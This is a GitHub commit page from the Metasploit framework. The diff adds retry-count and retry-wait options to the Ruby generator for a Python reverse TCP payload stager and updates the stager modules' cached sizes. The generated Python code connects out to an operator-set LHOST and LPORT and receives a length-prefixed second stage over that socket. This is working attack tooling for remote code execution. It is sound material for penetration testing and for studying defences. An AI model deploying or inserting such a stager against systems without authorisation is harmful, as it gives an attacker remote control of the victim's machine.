Skip to content

Commit 4e29b6e

Browse files
committed
Land rapid7#8275, add retry opts for py rev_tcp stager
2 parents 3aa862b + 2ca53ea commit 4e29b6e

File tree

3 files changed

+33
-6
lines changed

3 files changed

+33
-6
lines changed

lib/msf/core/payload/python/reverse_tcp.rb

Lines changed: 31 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -16,14 +16,23 @@ module Payload::Python::ReverseTcp
1616
include Msf::Payload::Python
1717
include Msf::Payload::Python::SendUUID
1818

19+
def initialize(*args)
20+
super
21+
register_advanced_options([
22+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
23+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
24+
], self.class)
25+
end
26+
1927
#
2028
# Generate the first stage
2129
#
2230
def generate
2331
conf = {
2432
port: datastore['LPORT'],
2533
host: datastore['LHOST'],
26-
retry_count: datastore['ReverseConnectRetries'],
34+
retry_count: datastore['StagerRetryCount'],
35+
retry_wait: datastore['StagerRetryWait'],
2736
}
2837

2938
generate_reverse_tcp(conf)
@@ -43,9 +52,27 @@ def transport_config(opts={})
4352

4453
def generate_reverse_tcp(opts={})
4554
# Set up the socket
46-
cmd = "import socket,struct\n"
47-
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
48-
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
55+
cmd = "import socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
56+
if opts[:retry_wait].blank? # do not retry at all (old style)
57+
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
58+
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
59+
else
60+
if opts[:retry_count] > 0
61+
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
62+
else
63+
cmd << "while 1:\n"
64+
end
65+
cmd << "\ttry:\n"
66+
cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
67+
cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
68+
cmd << "\t\tbreak\n"
69+
cmd << "\texcept:\n"
70+
if opts[:retry_wait].to_i <= 0
71+
cmd << "\t\tpass\n" # retry immediately
72+
else
73+
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
74+
end
75+
end
4976
cmd << py_send_uuid if include_send_uuid
5077
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
5178
cmd << "d=s.recv(l)\n"

modules/payloads/stagers/python/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 362
13+
CachedSize = 454
1414

1515
include Msf::Payload::Stager
1616
include Msf::Payload::Python::ReverseTcp

modules/payloads/stagers/python/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 466
13+
CachedSize = 558
1414

1515
include Msf::Payload::Stager
1616
include Msf::Payload::Python

0 commit comments

Comments
 (0)